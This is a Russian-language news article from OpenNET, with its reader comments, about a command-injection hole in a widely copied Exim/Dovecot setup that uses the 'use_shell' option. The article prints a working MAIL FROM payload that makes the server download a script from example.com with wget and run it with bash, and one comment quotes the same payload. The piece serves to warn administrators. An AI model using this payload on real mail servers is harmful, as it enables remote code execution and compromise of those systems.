The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Опасная уязвимость при использовании рекомендуемых в документации настройках связки Exim и Dovecot

04.05.2013 23:18

В рекомендованном на wiki-сайте проекта и в некоторых других руководствах примере настройки связки почтового сервера Exim с IMAP/POP3-сервером Dovecot выявлена критическая уязвимость, позволяющая выполнить произвольный код на сервере. Уязвимость может быть эксплуатирована через отправку письма со специальным образом оформленным адресом отправителя. Проблема проявляется только в системах, в которых в конфигурации Exim указана опция "use_shell" в блоке подключения Dovecot.

Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства. Всем пользователям связки Exim и Dovecot рекомендуется проверить настройки на предмет отсутствия опции "use_shell", при включении которой агент доставки запускается с использованием shell и передачей параметров в командной строке. Метод эксплуатации достаточно прост и сводится к манипуляции с экранированием спецсимволов, позволяя в итоге добиться выполнения shell-команд.

Например, атакующий может указать:

MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com

В процессе обработки такого запроса exim выполнит

/bin/sh -c "/usr/lib/Dovecot/deliver -e -k -s -f \\"red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com"

что приведёт к запуску wget, загрузке внешнего скрипта c сайта example.com/test.sh и его запуску.

  1. Главная ссылка к новости (https://www.redteam-pentesting...)
  2. OpenNews: В почтовом сервере Exim 4.80.1 устранена критическая уязвимость
  3. OpenNews: Критическая уязвимость в почтовом сервере Exim
  4. OpenNews: Релиз почтового сервера Exim 4.74 с устранением уязвимости
  5. OpenNews: В Exim обнаружена критическая уязвимость (дополнено - проблема исправлена в Exim 4.70)
  6. OpenNews: Релиз почтового сервера Exim 4.73 с устранением уязвимостей
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/36859-exim
Ключевые слова: exim, dovecot
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (63) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.3, pavlinux (ok), 01:28, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +13 +/
    Ай красава! +100500
     
     
  • 2.5, AnonuS (?), 01:36, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Ай красава! +100500

    Павлик, а ты чего так сильно обрадовался ?

     
     
  • 3.10, pavlinux (ok), 03:14, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +16 +/
    Ну дык:

    > MAIL FROM: red'wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh''bash${IFS}/tmp/p'team@example.com

    А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища...  :D

     
     
  • 4.66, AnonuS (?), 00:28, 08/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    > Ну дык:
    >> MAIL FROM: red'wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh''bash${IFS}/tmp/p'team@example.com
    > А то всё, NULL-pointers, SQL-inject, array-bounds, race-conditions, double-free, скукотища...
    >  :D

    Да, ты прав, это действительно новое слово в науке и технике, свежая струя так сказать...

    :-)))

     

  • 1.6, Аноним (-), 01:44, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    ohh shit

    address_pipe:
    driver = pipe
    ignore_status
    return_output
    use_shell

     
  • 1.8, Аноним (-), 02:33, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    что вы в фичах понимаете :) это же так удобно! и никаких RMS не нужно :)
     
  • 1.9, Sylvia (ok), 03:03, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    таки проблема на стороне Exim, эхх, опять г-н Сирайнен денег не даст за дырку (:
     
     
  • 2.13, Аноним (-), 08:33, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Конечно, не даст. Дырка-то не его.
     

  • 1.11, koblin (ok), 03:35, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +5 +/
    распространение "уязвимости" через вики с документацией! а что, хорошая идея
     
     
  • 2.15, Аноним (-), 09:17, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +2 +/
    unixway для вирусов
     
     
  • 3.36, all_glory_to_the_hypnotoad (ok), 12:55, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    exim с его вики это не юникс вей
     

  • 1.12, Аноним (-), 08:31, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Начинающий почтовик задает вопрос гуру. Зачем Exim нужен Dovecot-у.
     
     
  • 2.14, Аноним (-), 08:47, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Не-а. Zimbra возьму лучше.
     
  • 2.23, robux (ok), 10:42, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Обратный вопрос: зачем exim'у нужен dovecot?
    Экзим и не зная ничего об довекоте прекрасно работает.
     
     
  • 3.25, DeadLoco (ok), 10:43, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Обратный вопрос: зачем exim'у нужен dovecot?
    > Экзим и не зная ничего об довекоте прекрасно работает.

    Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

     
     
  • 4.29, pavlinux (ok), 12:20, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >> Обратный вопрос: зачем exim'у нужен dovecot?
    >> Экзим и не зная ничего об довекоте прекрасно работает.
    > Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

    Представь себе! Exim - это SMTP


     
     
  • 5.34, DeadLoco (ok), 12:45, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    >>> Экзим и не зная ничего об довекоте прекрасно работает.
    >> Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...
    > Представь себе! Exim - это SMTP

    Экзим - это программа!

     
     
  • 6.41, rshadow (ok), 14:33, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Отмаз не защитан.
     
  • 6.44, pavlinux (ok), 15:02, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > Экзим - это программа!

    Программа - это "Здоровье" с Еленой Малышевой, а Exim - это MTA (Mail ТруЪ Agent)!

     
     
  • 7.55, DeadLoco (ok), 23:06, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    > Exim - это SMTP
    > Exim - это MTA

    Прям, не программа, а какой-то Людовик Четырнадцатый в бинарном представлении...

     
     
  • 8.60, pavlinux (ok), 16:27, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    BMW Z4 - машина BMW Z4 в пос Кукуево - понты граничащие с маразмом ... текст свёрнут, показать
     
     
  • 9.62, DeadLoco (ok), 18:57, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    BMW Z4 в придорожном столбе вследствие неумения обращаться с - источник лулзов... текст свёрнут, показать
     
  • 4.48, robux (ok), 17:18, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Да неужто? И РОР/IMAP тоже? Надо же, как я от жизни отстал...

    Ваша логика: "Сталин воевал с Гитлером, поэтому они братья".

    Exim и Dovecot пересекаются только на общих базах [сообщений и юзеров].
    На общих базах, понимаешь? При этом на уровне API они не обязаны быть связаны.

    То, что кто-то костыляет одно через другое, тем более привязывает MTA к POP-серверу (а не наоборот), то он сам себе злой буратинко. О чем в новости и написано.

     
     
  • 5.49, quux (??), 18:57, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    MTA вызывает MDA для локальной доставки, где вы API и привязки какие-то увидели ?
     
     
  • 6.56, DeadLoco (ok), 23:15, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > MTA вызывает MDA для локальной доставки, где вы API и привязки какие-то увидели ?

    Ну, очень удобно из экзима обращаться к довекотовскому аутентификатору, например, для TLS. И вообще, если рядом с экзимом живет довекот, то LDA, фильтрацию, квоты и аутентификацию гораздо удобнее и функциональнее спихнуть именно на довекот.

     
  • 5.64, Аноним (-), 20:31, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    а вот спорим, что вы сами никогда реальный почтовый сервер не поднимали...
     
  • 3.51, angra (ok), 20:03, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Работает конечно, но вот только единый механизм аутентификации и укладки писем в maildir лучше чем два независимых. Ну а там где почтовик просто посылает всю почту на другой хост обычно nullmailer хватает.

     
     
  • 4.57, DeadLoco (ok), 23:25, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Работает конечно, но вот только единый механизм аутентификации
    > и укладки писем в maildir лучше чем два независимых.

    Укладки _И_ извлечения!

    У всех, кто не пользуется довекотовским ЛДА из МТА, наверчены жуткие извраты в пермишнах мейлдиров.

     
  • 2.27, анон (?), 12:14, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Dovecot не MTA, а exim MTA.

    Ваш К.О.

     
  • 2.50, kombat (ok), 19:48, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    это когда фетчмейл получив с внешнего ящика письмо, отправляет екзиму, например, на локалхост:25, а тот кладет в мейлдир, который довекотом отдается локальному юзеру через поп или имап.
     

  • 1.16, YetAnotherOnanym (ok), 09:29, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Вот поэтому надо самому курить документацию на софт (а также основополагающие документы типа RFC), а не настраивать, как обезьяна, по статьям на сторонних ресурсах.
    Да, это долго и муторно, но по-другому никак.
     
     
  • 2.20, Int (?), 09:49, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >Вот поэтому надо самому курить документацию на софт (а также основополагающие документы типа RFC), а не настраивать, как обезьяна, по статьям на сторонних ресурсах.

    "Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot"

    официальный сайт это сторонний ресурс ? делаааа

     
     
  • 3.37, анон (?), 12:57, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Я видел эту статью, но мне хватило мозгов, не тупо скопировать, а розобраться что означает _каждый_ параметр в примере. И я убрал use_shell, поскольку он мне не нужен был - он вообще мало кому нужен.
     
     
  • 4.38, анон (?), 13:02, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Вообще надо быть крайне одаренным эникеем, чтоб скопировать и не обратить внимание на этот параметр, который в названии просто кричит о своей подлой сущности.


     
  • 3.46, arisu (ok), 15:21, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    на официальных сайтах надо давать примеры с патчем Бармина, и только такие. чтобы дебилы отсеивались ещё на подлёте.
     
     
  • 4.47, анон (?), 17:14, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Да это и есть бармин в чистом виде, только сильно отложенный. Но, думаю, те кто умеют читать между строк, с этого руководства свой профит поимели.
     
  • 2.22, DeadLoco (ok), 10:35, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Это еще что! Мне как-то доводилось переделывать почтовик, настроенный по статье "у Лисяры". Так в статье с шутками и прибаутками рекомендовалось почтовику давать рутовый доступ к БД и ФС.
     
     
  • 3.30, pavlinux (ok), 12:23, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    >  рекомендовалось почтовику давать рутовый доступ к БД и ФС.

    Если чо, рут у базы данных != root в /etc/passwd

     
     
  • 4.33, DeadLoco (ok), 12:44, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >>  рекомендовалось почтовику давать рутовый доступ к БД и ФС.
    > Если чо, рут у базы данных != root в /etc/passwd

    Если чо, то в рутовом доступе к БД веселого очень немного.

     
     
  • 5.39, Аноним (-), 14:10, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Если чо, то в рутовом доступе к БД веселого очень немного.

    Таких б@лванов, тем не менее, просто мечут, как икру.

    Лисяра, в этом отношении, просто редкостно од@ренный тип: "Я не стал разбираться, почему не работает, просто дал chmod 777 *".

    О принципе наименьшей привилегии вообще мало кто слышал из кр@сноглазых "самоучек". Гении среди гогна и удобрений.

     
     
  • 6.42, rshadow (ok), 14:36, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Обыкновенные пользователи. Они навсех системах одинаковы.
     
  • 6.43, rshadow (ok), 14:38, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > О принципе наименьшей привилегии...

    Зато принципом наименьшего сопротивления пользуются все

     
  • 5.45, pavlinux (ok), 15:07, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >>>  рекомендовалось почтовику давать рутовый доступ к БД и ФС.
    >> Если чо, рут у базы данных != root в /etc/passwd
    > Если чо, то в рутовом доступе к БД веселого очень немного.

    Да нет там рута! Там есть привилегии и контекст.  

    Кстати, для полного счастья, и проверки феншуйности вашего UNIX,
    нужно создать другого юзера с UID==0, удалить рута, и проверить
    работоспособность всей системы.

     
     
  • 6.53, DeadLoco (ok), 22:58, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Кстати, для полного счастья, и проверки феншуйности вашего UNIX,
    > нужно создать другого юзера с UID==0, удалить рута, и проверить
    > работоспособность всей системы.

    Так оно у меня так штатно делается уже хрен знает сколько лет.

     
  • 6.54, DeadLoco (ok), 23:03, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    > Да нет там рута! Там есть привилегии и контекст.

    При установке мускля автоматом создается юзер БД root с пустым паролем и полными привилегиями, включая грант, на таблицу mysql. Так что, я б поостерегся делать скоропалительные заявления.

     
     
  • 7.61, pavlinux (ok), 16:29, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >> Да нет там рута! Там есть привилегии и контекст.
    > При установке мускля автоматом создается юзер БД root с пустым паролем и
    > полными привилегиями, включая грант, на таблицу mysql. Так что, я б
    > поостерегся делать скоропалительные заявления.

    ПИН-код на кредитке фломастером не пишешь? :)

     
     
  • 8.63, DeadLoco (ok), 19:13, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Неа Я всего лишь пытаюсь донести до общественности простую мысль, что на боль... текст свёрнут, показать
     

  • 1.17, Дед Анон (?), 09:37, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Ахренеть! Вот это скорость! Вот это официальный ман на Wiki!
     
  • 1.18, Drontozaurus (?), 09:45, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Есть замечательный проект - Exim4U (exim4u.org), облегчающий процесс приручения к виртуальным доменам. MySQL, SPF, DKIM и т.д. Единственный его косяк - хранение паролей в чистом виде по-умолчанию, что замечательно переделывается на хэши, поддерживаемые как exim так и dovecot.
     
  • 1.19, Int (?), 09:48, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    >Изначально статья с ошибочной опцией была опубликована в 2009 году на официальном сайте проекта Dovecot и ошибка успела перекочевать во многие другие руководства.

    Смешно. Охренено смешно. :(

     
  • 1.21, Прохожий (??), 10:07, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Думать своей головой надо.
     
     
  • 2.24, DeadLoco (ok), 10:42, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Думать своей головой надо.

    И доки читать


    EXIM 29:5
    If this option is set, it causes the command to be passed to /bin/sh instead of being run directly from the transport, as described in section 29.3. This is less secure, but is needed in some situations where the command is expected to be run under a shell and cannot easily be modified


     

  • 1.26, vitalif (?), 11:40, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    У меня с EXIM'ом знакомство пока как-то по такому алгоритму: поставил, посмотрел, решил какой-то он косой, снёс, поставил postfix.
     
     
  • 2.28, quux (??), 12:19, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Увы это больше говорит о вас нежели об exim'e.
     

  • 1.31, Аноним (-), 12:30, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Morris Worm strikes back!
     
  • 1.32, Аноним (32), 12:37, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    прыщеглазики опять прощляпили
     
     
  • 2.40, Аноним (-), 14:14, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    > прыщеглазики опять прощляпили

    Прыщебл@дам просто западло академическое образование получать. Поколение вики, блжад. Принцип наименьшей привилегии в универнситетах вколачивают в тупые головы студоты!

     
     
  • 3.52, angra (ok), 20:10, 05/05/2013 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Увы, но уровень знаний преподов в области IT в наших универах зачастую ниже чем у эникейщиков. Во многих местах до сих программирование по трупопаскакалю изучают, а ОСи по менюшкам ворда.


     

  • 1.35, Михрютка (ok), 12:54, 05/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    как дети чесслово. шеллы какие-то, эскейпирование.

    учитесь, как настоящие энтерпрайзные дырки в почте делать-то надо

    http://www-01.ibm.com/support/docview.wss?uid=swg21633819

    "The IBM Notes mail client accepts Java applet tags and JavaScript tags inside HTML emails, making it possible to load Java applets and scripts from a remote location."

     
     
  • 2.65, Andrey Mitrofanov (?), 23:20, 06/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    > как дети чесслово. шеллы какие-то, эскейпирование.
    > учитесь, как настоящие энтерпрайзные дырки в почте делать-то надо

    Нет, Только bash! Ленин завещал учиться, но до до джаввы же.

    > "The IBM Notes mail client accepts Java applet tags and JavaScript tags

     

  • 1.58, Аноним (-), 03:02, 06/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Учитесь как надо:

    local_delivery:
      driver = lmtp
      user = mail
      socket = /run/dovecot/lmtp

    Скока лет ни одной новой дырки.

     
  • 1.59, Аноним (-), 13:13, 06/05/2013 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    а как же noexec в /tmp ?
     
     
  • 2.67, Аноним (-), 12:45, 08/05/2013 [^] [^^] [^^^] [ответить]  
  • +/
    Редко применяется, так как во многихдистрибутивах во время апгрейда пакетов запускаются постинстал скрипты из /tmp
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру